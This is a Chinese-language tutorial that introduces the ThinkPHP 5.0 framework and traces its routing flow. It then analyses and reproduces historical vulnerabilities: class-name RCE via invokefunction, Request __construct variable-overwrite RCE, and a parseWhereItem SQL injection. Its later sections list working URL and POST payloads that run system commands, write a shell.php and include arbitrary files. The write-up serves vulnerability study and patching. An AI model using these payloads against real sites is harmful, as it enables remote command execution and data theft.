## 前言
ThinkPHP 是國內著名的 php開發框架,基於MVC模式,最早誕生於2006年初,原名FCS,2007年元旦正式更名為ThinkPHP。
ThinkPHP5.0版本是一個顛覆和重構版本,采用全新的架構思想,引入了更多的PHP新特性,優化了核心,減少了依賴,實現了真正的惰性加載,支持composer,並針對API開發做了大量的優化,包括路由、日志、異常、模型、數據庫、模板引擎和驗證等模塊都已經重構。
ThinkPHP5下載:
https://www.thinkphp.cn/down.html
本文用到的是ThinkPHP5.0.10完整版
https://www.thinkphp.cn/donate/download/id/1015.html
ThinkPHP操作手冊:
https://www.kancloud.cn/thinkphp/thinkphp5_quickstart #快速開始
https://www.kancloud.cn/manual/thinkphp5 #完全開發手冊
目前,仍然有非常多網站以ThinkPHP5為框架開發。本文我們的目的是熟悉TP5框架,分析與復現歷史漏洞,這里我們選擇的版本是ThinkPHP5.0.10完整版。
ThinkPHP5的運行環境要求PHP5.4以上。
ThinkPHP5基礎
目錄結構
初始的目錄結構
如下:
www WEB部署目錄(或者子目錄)
├─application 應用目錄
│ ├─common 公共模塊目錄(可以更改)
│ ├─module_name 模塊目錄
│ │ ├─config.php 模塊配置文件
│ │ ├─common.php 模塊函數文件
│ │ ├─controller 控制器目錄
│ │ ├─model 模型目錄
│ │ ├─view 視圖目錄
│ │ └─ ... 更多類庫目錄
│ │
│ ├─command.php 命令行工具配置文件
│ ├─common.php 公共函數文件
│ ├─config.php 公共配置文件
│ ├─route.php 路由配置文件
│ ├─tags.php 應用行為擴展定義文件
│ └─database.php 數據庫配置文件
│
├─public WEB目錄(對外訪問目錄)
│ ├─index.php 入口文件
│ ├─router.php 快速測試文件
│ └─.htaccess 用於apache的重寫
│
├─thinkphp 框架系統目錄
│ ├─lang 語言文件目錄
│ ├─library 框架類庫目錄
│ │ ├─think Think類庫包目錄
│ │ └─traits 系統Trait目錄
│ │
│ ├─tpl 系統模板目錄
│ ├─base.php 基礎定義文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 框架慣例配置文件
│ ├─helper.php 助手函數文件
│ ├─phpunit.xml phpunit配置文件
│ └─start.php 框架入口文件
│
├─extend 擴展類庫目錄
├─runtime 應用的運行時目錄(可寫,可定制)
├─vendor 第三方類庫目錄(Composer依賴庫)
├─build.php 自動生成定義文件(參考)
├─composer.json composer 定義文件
├─LICENSE.txt 授權說明文件
├─README.md README 文件
├─think 命令行入口文件
入口文件:
ThinkPHP5.0
版本的默認自帶的入口文件位於public/index.php
(實際部署的時候public
目錄為你的應用對外訪問目錄),入口文件內容如下:
// 定義應用目錄
define('APP_PATH', __DIR__ . '/../application/');
// 加載框架引導文件
require __DIR__ . '/../thinkphp/start.php';
這段代碼的作用就是定義應用目錄APP_PATH
和加載ThinkPHP
框架的入口文件,這是所有基於ThinkPHP
開發應用的第一步。
官方提供的默認應用的實際目錄結構和說明如下:
├─application 應用目錄(可設置)
│ ├─index 模塊目錄(可更改)
│ │ ├─config.php 模塊配置文件
│ │ ├─common.php 模塊公共文件
│ │ ├─controller 控制器目錄
│ │ ├─model 模型目錄
│ │ └─view 視圖目錄
│ │
│ ├─command.php 命令行工具配置文件
│ ├─common.php 應用公共文件
│ ├─config.php 應用配置文件
│ ├─tags.php 應用行為擴展定義文件
│ ├─database.php 數據庫配置文件
│ └─route.php 路由配置文件
5.0
版本采用模塊化的設計架構,默認的應用目錄下面只有一個index
模塊目錄。
靜態資源文件:
網站的資源文件一般放入public
目錄的子目錄下面,例如
public
├─index.php 應用入口文件
├─static 靜態資源目錄
│ ├─css 樣式目錄
│ ├─js 腳本目錄
│ └─img 圖像目錄
調試模式:
應用配置文件(application/config.php
)中的app_debug
配置參數:
// 關閉調試模式
'app_debug' => false,
配置文件
在ThinkPHP中,一般來說應用的配置文件是自動加載的,加載的順序是:
慣例配置->應用配置->擴展配置->場景配置->模塊配置->動態配置
以上是配置文件的加載順序,因為后面的配置會覆蓋之前的同名配置(在沒有生效的前提下),所以配置的優先順序從右到左。
慣例配置:位於thinkphp/convention.php
應用配置:位於application/config.php
擴展配置:V5.0.1
開始,取消了該配置參數,擴展配置文件直接放入application/extra
目錄會自動加載。
場景配置:每個應用都可以在不同的情況下設置自己的狀態(或者稱之為應用場景),並且加載不同的配置文件。
模塊配置:位於application/當前模塊名/config.php
控制器
根據類的命名空間可以快速定位文件位置,在
ThinkPHP5.0
的規范里面,命名空間其實對應了文件的所在目錄,app
命名空間通常代表了文件的起始目錄為application
,而think
命名空間則代表了文件的起始目錄為thinkphp/library/think
,后面的命名空間則表示從起始目錄開始的子目錄。
我們找到index
模塊的Index
控制器(文件位於application/index/controller/Index.php
注意大小寫),我們把Index
控制器類的index
方法修改為Hello,World!
。
如果要訪問一個駝峰命名的控制器,例如我們把上面的例子改成一個HelloWorld
控制器。
默認情況下正確的方法是使用下面的URL進行訪問
http://serverName/index.php/index/hello_world
下面的訪問地址是錯誤的
http://serverName/index.php/index/HelloWorld
因為默認的URL訪問是不區分大小寫的,全部都會轉換為小寫的控制器名,除非你在應用配置文件中,設置了關閉url自動轉換如下:
'url_convert' => false,
一般來說,ThinkPHP的控制器是一個類,而操作則是控制器類的一個公共方法。控制器類可以包括多個操作方法,但如果你的操作方法是protected
或者private
類型的話,是無法直接通過URL訪問到該操作的,也就是說只有public
類型的操作方法才是可以通過URL訪問的。
例如:
<?phpnamespace app\index\controller;class Index{ public function hello() { return 'hello,thinkphp!'; } public function test() { return '這是一個測試方法!'; } protected function hello2() { return '只是protected方法!'; } private function hello3() { return '這是private方法!'; }}
當我們訪問如下URL地址的時候,前面兩個是正常訪問,后面兩個則會顯示異常。
http://serverName/index.php/index/index/hellohttp://serverName/index.php/index/index/testhttp://serverName/index.php/index/index/hello2http://serverName/index.php/index/index/hello3
視圖
現在我們在給控制器添加視圖文件功能,我們在application/index
目錄下面創建一個view
目錄,然后添加模板文件view/index/hello.html
(注意大小寫),我們添加模板內容如下:
<html><head><title>hello {$name}</title></head><body> hello, {$name}!</body></html>
要輸出視圖,必須在控制器方法中進行模板渲染輸出操作,現在修改控制器類如下:
<?phpnamespace app\index\controller;use think\Controller;class Index extends Controller{ public function hello($name = 'thinkphp') { $this->assign('name', $name); return $this->fetch(); }}
Index
控制器類繼承了 think\Controller
類之后,我們可以直接使用封裝好的assign
和fetch
方法進行模板變量賦值和渲染輸出。
fetch
方法中我們沒有指定任何模板,所以按照系統默認的規則(視圖目錄/控制器/操作方法)輸出了view/index/hello.html
模板文件。
接下來,我們在瀏覽器訪問
http://serverName/index.php/index/index/hello
URL&路由
URL訪問
一個標准的URL
訪問格式(pathinfo模式):
http://domainName/index.php/模塊/控制器/操作/[參數名/參數值...]
其中index.php
就稱之為應用的入口文件(入口文件可以被隱藏,參考)。
模塊在ThinkPHP中的概念其實就是應用目錄下面的子目錄,而官方的規范是目錄名小寫,因此模塊全部采用小寫命名,無論URL是否開啟大小寫轉換,模塊名都會強制小寫。
如果你的控制器是駝峰的,例如定義一個HelloWorld控制器(application/index/controller/HelloWorld.php
),正確的URL訪問地址(該地址可以使用url方法生成)應該是:
http://servername/index.php/index/hello_world/index
如果使用
http://servername/index.php/index/HelloWorld/index
將會報錯,並提示Helloworld
控制器類不存在。
如果希望嚴格區分大小寫訪問(這樣就可以支持駝峰法進行控制器訪問),可以在應用配置文件中設置:
// 關閉URL自動轉換(支持駝峰訪問控制器)'url_convert' => false,
關閉URL自動轉換之后,必須使用下面的URL地址訪問(控制器名稱必須嚴格使用控制器類的名稱,不包含控制器后綴):
http://servername/index.php/index/HelloWorld/indexhttp://servername/index.php/index/hello_world/index
如果你的服務器環境不支持pathinfo
方式的URL訪問,可以使用兼容方式,例如:
http://servername/index.php?s=/index/Index/index
其中變量s
的名稱的可以配置的。
5.0不再支持普通的URL訪問方式,所以下面的訪問是無效的,你會發現無論輸入什么,訪問的都是默認的控制器和操作_
http://servername/index.php?m=index&c=Index&a=hello
參數傳入
上面我們使用了,如下方式傳參
http://domainName/index.php/模塊/控制器/操作/[參數名1/參數值1/參數名2/參數值2...]
除此之外,還可以使用
http://domainName/index.php/模塊/控制器/操作?參數1=值1&參數2=值2...
還可以進一步對URL地址做簡化,前提就是我們必須明確參數的順序代表的變量,我們更改下URL參數的獲取方式,把應用配置文件中的url_param_type
參數的值修改如下:
// 按照參數順序獲取'url_param_type' => 1,
現在,URL的參數傳值方式就變成了嚴格按照操作方法的變量定義順序來傳值了,也就是說我們必須使用下面的URL地址訪問才能正確傳入name
和city
參數到hello
方法:
http://servername/index.php/index/HelloWorld/index/thinkphp/shanghai
頁面輸出結果為:
Hello,thinkphp! You come from shanghai.
定義路由
我們可以通過在路由定義文件(application/route.php
)里面添加一些路由規則,來簡化URL訪問
例如:
return [ // 添加路由規則 路由到 index控制器的hello操作方法 'hello/[:name]' => 'index/index/hello',];
該路由規則表示所有hello
開頭的並且帶參數的訪問都會路由到index
控制器的hello
操作方法。
路由之前的URL訪問地址為:
http://servername/index/index/hello/name/thinkphp
定義路由后就只能訪問下面的URL地址
http://servername/hello/thinkphp
注意
定義路由規則后,原來的URL地址將會失效,變成非法請求。
我們還可以約束路由規則的請求類型或者URL后綴之類的條件,例如:
return [ // 定義路由的請求類型和后綴 'hello/[:name]' => ['index/hello', ['method' => 'get', 'ext' => 'html']],];
上面定義的路由規則限制了必須是get
請求,而且后綴必須是html
的,所以下面的訪問地址:
http://servername/hello // 無效http://servername/hello.html // 有效http://servername/hello/thinkphp // 無效http://servername/hello/thinkphp.html // 有效
數據庫
ThinkPHP內置了抽象數據庫訪問層,把不同的數據庫操作封裝起來,我們只需要使用公共的Db類進行操作,而無需針對不同的數據庫寫不同的代碼和底層實現,Db類會自動調用相應的數據庫驅動來處理。采用PDO方式,目前包含了Mysql、SqlServer、PgSQL、Sqlite等數據庫的支持。
數據庫配置方式有很多,常用的配置方式是在應用目錄或者模塊目錄下面的database.php
中添加下面的配置參數:
return [ // 數據庫類型 'type' => 'mysql', // 服務器地址 'hostname' => '127.0.0.1', // 數據庫名 'database' => 'thinkphp', // 用戶名 'username' => 'root', // 密碼 'password' => 'root', // 端口 'hostport' => '3306', // 連接dsn 'dsn' => '', // 數據庫連接參數 'params' => [], // 數據庫編碼默認采用utf8 'charset' => 'utf8', // 數據庫表前綴 'prefix' => '', // 數據庫調試模式 'debug' => true, // 數據庫部署方式:0 集中式(單一服務器),1 分布式(主從服務器) 'deploy' => 0, // 數據庫讀寫是否分離 主從式有效 'rw_separate' => false, // 讀寫分離后 主服務器數量 'master_num' => 1, // 指定從服務器序號 'slave_no' => '', // 是否嚴格檢查字段是否存在 'fields_strict' => true, // 數據集返回類型 'resultset_type' => 'array', // 自動寫入時間戳字段 'auto_timestamp' => false, // 時間字段取出后的默認時間格式 'datetime_format' => 'Y-m-d H:i:s', // 是否需要進行SQL性能分析 'sql_explain' => false,];
配置了數據庫連接信息后,我們就可以直接使用數據庫運行原生SQL操作了,支持query
(查詢操作)和execute
(寫入操作)方法,並且支持參數綁定。
Db::query('select * from think_user where id=?',[8]);Db::execute('insert into think_user (id, name) values (?, ?)',[8,'thinkphp']);
也支持命名占位符綁定,例如:
Db::query('select * from think_user where id=:id',['id'=>8]);Db::execute('insert into think_user (id, name) values (:id, :name)',['id'=>8,'name'=>'thinkphp']);
可以使用多個數據庫連接,使用
Db::connect($config)->query('select * from think_user where id=:id',['id'=>8]);
$config是一個單獨的數據庫配置,支持數組和字符串,也可以是一個數據庫連接的配置參數名。
查詢一個數據使用:
// table方法必須指定完整的數據表名Db::table('think_user')->where('id',1)->find();
查詢數據集使用:
Db::table('think_user')->where('status',1)->select();
安全
SQL:
5.0
版本的數據操作使用了PDO預處理機制及自動參數綁定功能
上傳:
網站的上傳功能也是一個非常容易被攻擊的入口,所以對上傳功能的安全檢查是尤其必要的。
系統的think\File
提供了文件上傳的安全支持,包括對文件后綴、文件類型、文件大小以及上傳圖片文件的合法性檢查,確保你已經在上傳操作中啟用了這些合法性檢查。
為了方便版本升級,並且保證public目錄為唯一的web可訪問目錄,資源文件可以放到項目之外,例如項目目錄為
/home/www/thinkphp/
那么資源目錄、上傳文件保存的目錄
/home/www/resource//home/www/resource/upload/
命名空間
ThinkPHP5只需要給類庫正確定義所在的命名空間,並且命名空間的路徑與類庫文件的目錄一致,那么就可以實現類的自動加載。
例如,\think\cache\driver\File類的定義為:
namespace think\cache\driver;class File{}
如果我們實例化該類的話,應該是:
$class = new \think\cache\driver\File();
系統會自動加載該類對應路徑的類文件,其所在的路徑是 thinkphp/library/think/cache/driver/File.php。
可是為什么路徑是在thinkphp/library/think下呢?這就要涉及要另一個概念—根命名空間。
根命名空間是一個關鍵的概念,以上面的\think\cache\driver\File類為例,think就是一個根命名空間,其對應的初始命名空間目錄就是系統的類庫目錄(thinkphp/library/think),我們可以簡單的理解一個根命名空間對應了一個類庫包。
系統內置的幾個根命名空間(類庫包)如下:

框架流程分析
我們先進入到默認的入口文件(public/index.php)
// 定義應用目錄define('APP_PATH', __DIR__ . '/../application/');// 加載框架引導文件require __DIR__ . '/../thinkphp/start.php';
引入start.php(框架引導文件)進入到里面看看有什么
進入框架引導文件(thinkphp/start.php)看到兩行代碼
// ThinkPHP 引導文件// 1. 加載基礎文件require __DIR__ . '/base.php';// 2. 執行應用App::run()->send();
(1)基礎文件(thinkphp/base.php)
在此文件首先看到全面大段的是定義常量或者是檢查常量是否存在,主要是以下幾點需要重點注意
- 將Loader類引入
- 注冊自動加載機制
- 注冊系統自動加載,
spl_autoload_register
將函數注冊到SPL __autoload函數隊列中。如果該隊列中的函數尚未激活,則激活它們。此函數可以注冊任意數量的自動加載器,當使用尚未被定義的類(class)和接口(interface)時自動去加載。通過注冊自動加載器,腳本引擎在 PHP 出錯失敗前有了最后一個機會加載所需的類。 - Composer 自動加載支持
- 注冊命名空間定義:
think=>thinkphp/library/think,behavior=>thinkphp/library/behavior,traits=>thinkphp/library/traits
- 加載類庫映射文件
- 自動加載 extend 目錄
- 注冊系統自動加載,
- 注冊異常處理機制
- 加載慣例配置
(2)執行應用(thinkphp/library/think/App.php)
首先返回一個request實例,將應用初始化返回配置信息。
之后進行如下的操作:
- 查看是否存在模塊控制器綁定
- 對於request的實例根據設置的過濾規則進行過濾
- 加載語言包
- 監聽app_dispatch
- 進行URL路由檢測(routecheck)
- 記錄當前調度信息,路由以及請求信息到日志中
- 請求緩存檢查並進行
$data = self::exec($dispatch, $config);
,根據$dispatch進行不同的調度,返回$data - 清除類的實例化
- 輸出數據到客戶端,
$response = $data;
,返回一個Response類實例 - 調用 Response->send() 方法將數據返回值客戶端
URL路由解析動態調試分析
URL路由解析及頁面輸出工作可以分為5部分。
- 路由定義:完成路由規則的定義和參數設置
- 路由檢測:檢查當前的URL請求是否有匹配的路由
- 路由解析:解析當前路由實際對應的操作。
- 路由調度:執行路由解析的結果調度。
- 響應輸出及應用結束:將路由調度的結果數據輸出至頁面並結束程序運行。
我們通過動態調試來分析,這樣能清楚明了的看到程序處理的整個流程,由於在Thinkphp中,配置不同其運行流程也會不同,所以我們采用默認配置來進行分析,並且由於在程序運行過程中會出現很多與之無關的流程,我也會將其略過。
路由定義
通過配置route目錄下的文件對路由進行定義,這里我們采取默認的路由定義,就是不做任何路由映射。
路由檢測
這部分內容主要是對當前的URL請求進行路由匹配。在路由匹配前先會獲取URL中的pathinfo,然后再進行匹配,但如果沒有定義路由,則會把當前pathinfo當作默認路由。
首先我們設置好IDE環境,並在路由檢測功能處下斷點。
然后我們請求Hello.php文件。【index模塊hello控制器index方法】
http://127.0.0.1/thinkphp_5.0.10_full/public/index.php/index/hello/index/name/world
F7跟進routeCheck()方法
進入path()方法
繼續跟進pathinfo()方法
這里會根據不同的請求方式獲取當前URL的pathinfo信息,這里我們的請求方式是pathinfo,直接通過$_SERVER(‘PATH_INFO’)
去獲取,獲取之后會使用ltrim()函數對$pathinfo
進行處理去掉左側的’/’符號。Ps:如果以兼容模式請求,則會用$_GET
方法獲取。
ltrim — 刪除字符串開頭的空白字符(或其他字符)
然后返回賦值給$path
並將該值帶入check()方法對URL路由進行檢測
這里主要是對我們定義的路由規則進行匹配,但是我們是以默認配置來運行程序的,沒有定義路由規則,所以跳過中間對於路由檢測匹配的過程,直接來看默認路由解析過程,使用默認路由對其進行解析。
路由解析
接下來將會對路由地址進行了解析分割、驗證、格式處理及賦值進而獲取到相應的模塊、控制器、操作名。
跟進parseUrl()方法:
這里首先會進入parseUrlPath()方法,將路由進行解析分割。
使用”/”進行分割,拿到 [模塊/控制器/操作/參數/參數值]。
緊接着使用array_shift()函數挨個從$path
數組中取值對模塊、控制器、操作進行賦值。
array_shift — 將數組開頭的單元移出數組
接着使用parseUrlParams解析參數/參數值
然后進行路由封裝將賦值后的$module
、$controller
、$action
存到route數組中
賦值給$result
變量,返回
回到最開始的App類,賦值給$dispatch
。
路由調度
這一部分將會對路由解析得到的結果(模塊、控制器、操作)進行調度,得到數據結果。
跟進exec
繼續跟進module執行模塊:
實例化請求,並進行模塊綁定
加載控制器:
加載前,會先使用class_exists()函數檢查Hello類是否定義過,這時程序會調用自動加載功能去查找該類並加載
繼續往下跟,調用index方法:
支持參數綁定。獲取請求參數:
這里調用了bindParams()
方法對$var
參數數組進行處理,獲取了Hello反射類的綁定參數,獲取到后將$args
傳入invokeArgs()
方法,進行反射執行。
然后程序就成功運行到了我們訪問的文件
運行之后返回數據結果,到這里路由調度的任務也就結束了,剩下的任務就是響應輸出了,將得到數據結果輸出到瀏覽器頁面上。
響應輸出及應用結束
這一小節會對之前得到的數據結果進行響應輸出並在輸出之后進行掃尾工作結束應用程序運行。在響應輸出之前首先會構建好響應對象,將相關輸出的內容存進Response對象,然后調用Response::send()方法將最終的應用返回的數據輸出到頁面。
調用Response類中的create()方法去獲取響應輸出的相關數據,構建Response對象:
執行new static($data, $code, $header, $options);
實例化自身Response類
可以看到這里將輸出內容、頁面的輸出類型、響應狀態碼等數據都傳遞給了Response類對象
然后就開始調用Response類中send()方法,向瀏覽器頁面輸送數據。
這里依次向瀏覽器發送了狀態碼、header頭信息以及得到的內容結果。
輸出完畢后,跳到了appShutdown()方法,保存日志並結束了整個程序運行。
漏洞分析
RCE1——類名解析導致任意類方法調用
概述
本次漏洞存在於 ThinkPHP 底層沒有對控制器名進行很好的合法性校驗,導致在未開啟強制路由的情況下,用戶可以調用任意類的任意方法,從而調用invokefunction方法,最終導致 遠程代碼執行漏洞 的產生。
漏洞影響版本: 5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30。
不同版本 payload 需稍作調整:
5.1.x:
?s=index/\think\Request/input&filter[]=system&data=pwd?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x:
?s=index/think\config/get&name=database.username # 獲取配置信息?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
漏洞分析
這里以5.0.10版本的thinkphp來分析。
以這個POC為例:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
下面我們一步步跟一下這個攻擊鏈。
斷點還是下在App.php文件,調用routeCheck
進行調度解析這里:
監聽,發送POC
跟進routeCheck
繼續跟進到path
方法里面,然后這里有一個pathinfo()函數,繼續跟進
來看一下phpinfo()方法:
public function pathinfo(){ if (is_null($this->pathinfo)) { if (isset($_GET[Config::get('var_pathinfo')])) { // 判斷URL里面是否有兼容模式參數 $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')]; unset($_GET[Config::get('var_pathinfo')]); } elseif (IS_CLI) { // CLI模式下 index.php module/controller/action/params/... $_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : } // 分析PATHINFO信息 if (!isset($_SERVER['PATH_INFO'])) { foreach (Config::get('pathinfo_fetch') as $type) { if (!empty($_SERVER[$type])) { $_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], RVER['SCRIPT_NAME'])) ? substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : RVER[$type]; break; } } } $this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ($_SERVER['PATH_INFO'], '/'); } return $this->pathinfo;}
Config::get('var_pathinfo')
是配置文件中的設置的參數,默認值為s
,怎么找到這個變量?可以全局搜索一下,可以搜索到其中一個配置文件里面有
從GET中獲取s參數的值,然后賦值給phpinfo變量返回,這里也就是index/think\app/invokefunction
最后賦值給routeCheck
中的$path
然后開始進入路由檢測的部分,經過check的檢查后會進入else的分支,但這一部分對於我們需要控制的變量沒有任何影響,關鍵是$result
以及$must
這兩個變量的賦值結果,這也是導致了后面操作的關鍵,可以進入Route::parseUrl
函數
跟進parseUrl:
再跟進一下parseUrlPath()
:
這里面就是返回一個$path變量,對包含模塊/控制器/操作
的URL進行分割成數組進行返回
回到上一層的函數中,繼續跟進,可以發現在自動搜索控制器的判斷中進入了else語句,從而為控制器進行了賦值,這里是個賦值點,很關鍵
然后以$route變量返回上層run函數:
然后下面就執行到了exec方法:
其中傳入的$dispatch
參數的內容如下:
跟進exec
然后進行module函數:
public static function module($result, $config, $convert = null){ if (is_string($result)) { $result = explode('/', $result); } $request = Request::instance(); if ($config['app_multi_module']) { // 多模塊部署 $module = strip_tags(strtolower($result[0] ?: $config['default_module'])); $bind = Route::getBind('module'); $available = false; if ($bind) { // 綁定模塊 list($bindModule) = explode('/', $bind); if (empty($result[0])) { $module = $bindModule; $available = true; } elseif ($module == $bindModule) { $available = true; } } elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . dule)) { $available = true; } // 模塊初始化 if ($module && $available) { // 初始化模塊 $request->module($module); $config = self::init($module); // 模塊請求緩存檢查 $request->cache($config['request_cache'], fig['request_cache_expire'], $config['request_cache_except']); } else { throw new HttpException(404, 'module not exists:' . $module); } } else { // 單一模塊部署 $module = ''; $request->module($module); } // 當前模塊路徑 App::$modulePath = APP_PATH . ($module ? $module . DS : ''); // 是否自動轉換控制器和操作名 $convert = is_bool($convert) ? $convert : $config['url_convert']; // 獲取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']); $controller = $convert ? strtolower($controller) : $controller; // 獲取操作名 $actionName = strip_tags($result[2] ?: $config['default_action']); $actionName = $convert ? strtolower($actionName) : $actionName; // 設置當前請求的控制器、操作 $request->controller(Loader::parseName($controller, 1))->action($actionName); // 監聽module_init Hook::listen('module_init', $request); $instance = Loader::controller($controller, $config['url_controller_layer'], fig['controller_suffix'], $config['empty_controller']); if (is_null($instance)) { throw new HttpException(404, 'controller not exists:' . er::parseName($controller, 1)); } // 獲取當前操作名 $action = $actionName . $config['action_suffix']; $vars = []; if (is_callable([$instance, $action])) { // 執行操作方法 $call = [$instance, $action]; } elseif (is_callable([$instance, '_empty'])) { // 空操作 $call = [$instance, '_empty']; $vars = [$actionName]; } else { // 操作不存在 throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . on . '()'); } Hook::listen('action_begin', $call); return self::invokeMethod($call, $vars);}
在進入多模塊部署后由於,bind的值為null,會進入elseif的條件,使available的變量成為true,這也是后面為什么可以順利初始化module的條件,不然就會拋出異常。
繼續跟進,controller變量就被賦值,然后獲得方法名字,開始請求這個方法
最后還是返回了這個方法
跟進invokeMethod:
通過ReflectionMethod
方法去構造一個映射,然后調用bindParams方法對其余參數進行解析
跟進bindParams:
返回$args。
然后就運行invokeArgs方法
跟進,會來到invokefunction
函數,這個函數也類似回調函數,所以就會把&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
傳進invokefunction
這個方法里面。
繼續跟進的話,你會發現這個函數跟上面跟進的函數的套路一模一樣,也是利用了回調的效果,也是利用一個變量把system
后面的內容返回給call_user_func_array
,只不過這次可以直接調用call_user_func_array
了,相當於執行了call_user_func_array("system","whoami")
最后成功RCE
補丁
5.0.x補丁地址:https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f5.1.x補丁地址:https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
補丁中加了正則限制了控制器的自定義初始化
RCE2——Request核心類變量覆蓋
概述
Request核心類$method 來自可控的 $_POST 數組,而且在獲取之后沒有進行任何檢查,直接把它作為 Request 類的方法進行調用,同時,該方法傳入的參數是可控數據 $_POST 。導致可以隨意調用 Request 類的部分方法
過程:
讓method等於
__construct
魔術方法,然后里面的foreach
函數造成變量覆蓋。然后通過Request 類中的param
方法最終又調用了filterValue
方法,而該方法中就存在可利用的 call_user_func 函數,從而執行任意命令
Request 類中的
param、route、get、post、put、delete、patch、request、session、server、env、cookie、input
方法均調用了 filterValue 方法,而該方法中就存在可利用的 call_user_func 函數
POC:
來源於網絡,未全部測試
ThinkPHP <= 5.0.13
POST /?s=index/indexs=whoami&_method=__construct&method=&filter[]=system
ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要開啟框架app_debug
POST /_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=captcha HTTP/1.1_method=__construct&filter[]=system&method=get&get[]=ls+-al_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
ThinkPHP 5.1.x
a=system&_method=filter&c=whoami
漏洞分析
這里以5.0.10版本的thinkphp來分析。
以這個POC為例:
POST 入口/?s=index_method=__construct&filter[]=system&method=get&get[]=whoami
斷點還是下在App.php文件,調用routeCheck
進行調度解析這里:
監聽,發送POC
跟進routeCheck
一直往下走,直到調用check方法進行路由檢測
跟進check方法
在843行調用$request->method()
方法
跟進method方法
public function method($method = false){ if (true === $method) { // 獲取原始請求類型 return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? ->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']); } elseif (!$this->method) { if (isset($_POST[Config::get('var_method')])) { $this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST); } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) { $this->method = upper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']); } else { $this->method = IS_CLI ? 'GET' : ($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : RVER['REQUEST_METHOD']); } } return $this->method;}
經過判斷,我們會進入到elseif
語句,可以看到有一個可以控制的函數名$_POST[Config::get['var_method']
,而var_method
的值在application/config.php里面為_method
。
於是可以POST傳入_method
改變$this->{$this->method}($_POST);
達到任意調用此類中的方法
而如果調用此類中的__construct
方法(也就是我們的POC):
來看一下__construct
方法
protected function __construct($options = []){ foreach ($options as $name => $item) { if (property_exists($this, $name)) { $this->$name = $item; } } if (is_null($this->filter)) { $this->filter = Config::get('default_filter'); } // 保存 php://input $this->input = file_get_contents('php://input');}
有一個foreach,可以引起POST數據對Requests對象屬性的變量覆蓋。
property_exists — 檢查對象或類是否具有該屬性
property_exists ( mixed
$class
, string$property
) : bool
動態跟蹤一下可以看到各個屬性被覆蓋后的值:
繼續往下跟
在App::run()方法里面,如果我們開啟了debug模式,則會調用Request::param()方法:
當然,即使沒有開啟debug,在App::run()里面的調用的exec方法同樣也會調用Request::param()方法
這個方法我們需要特別關注了,因為 Request 類中的 param、route、get、post、put、delete、patch、request、session、server、env、cookie、input
方法均調用了 filterValue 方法,而該方法中就存在可利用的 call_user_func 函數
調用棧太深,就不一個個跟了
開啟debug時的調用棧:
關閉debug時的調用棧:
array_walk_recursive — 對數組中的每個成員遞歸地應用用戶函數
然后filterValue
方法中,調用了call_user_func
造成任意命令執行
最后返回的需要進行一次過濾,不過大致查看能發現過濾字符基本為SQL注入的過濾,不是RCE的類型
小節
不同的payload觸發流程不一樣,但是核心是一樣的。
任意方法調用發生在method(),變量覆蓋發生在__construct(),rce發生在filterValue()
補丁
官方的修復方法是:對請求方法 $method 進行白名單校驗。
SQL注入漏洞分析
ThinkPHP5的SQL注入漏洞主要有以下幾類:
漏洞分析均可在https://github.com/Mochazz/ThinkPHP-Vuln 找到。
這里以 parseWhereItem方法的SQL注入漏洞進行分析,其他不再展開。
SQL注入——Mysql 類的 parseWhereItem 方法
概述
本次漏洞存在於 Mysql 類的 parseWhereItem 方法中。由於程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生。漏洞影響版本: ThinkPHP5全版本 。
由於官方根本不認為這是一個漏洞,而認為這是他們提供的一個功能,所以官方並沒有對這個問題進行修復。
漏洞環境
ThinkPHP 5.0.10
配置數據庫:
/application/database.php
在index模塊下添加一個控制器:
/application/index/controller/Hello.php
<?phpnamespace app\index\controller;class Hello{ public function test() { $username = request()->get('username'); $result = db('user')->where('username','exp',$username)->select(); return 'select success'; }}
/application/config.php
開啟app_debug (沒開啟 app_debug 是無法看到 SQL 報錯信息的)、app_trace(顯示SQL語句執行信息,便於調試)
漏洞分析
POC:
http://127.0.0.1/thinkphp_5.0.10_full/public/index.php/index/hello/test?username=)%20union%20select%20updatexml(1,concat(0x7,user(),0x7e),1)%23
下面跟一下流程:
打斷點,發POC
程序默認調用 Request 類的 get 方法中會調用該類的 input 方法,但是該方法默認情況下並沒有對數據進行很好的過濾,所以用戶輸入的數據會原樣進入框架的 SQL 查詢方法中
在 SQL 查詢方法中,首先程序先調用 Query 類的 where 方法,通過其 parseWhereExp 方法分析查詢表達式,然后再返回
然后繼續調用 select 方法准備開始構建 select 語句。
接着會調用 Builder 類的 select 方法,跟進
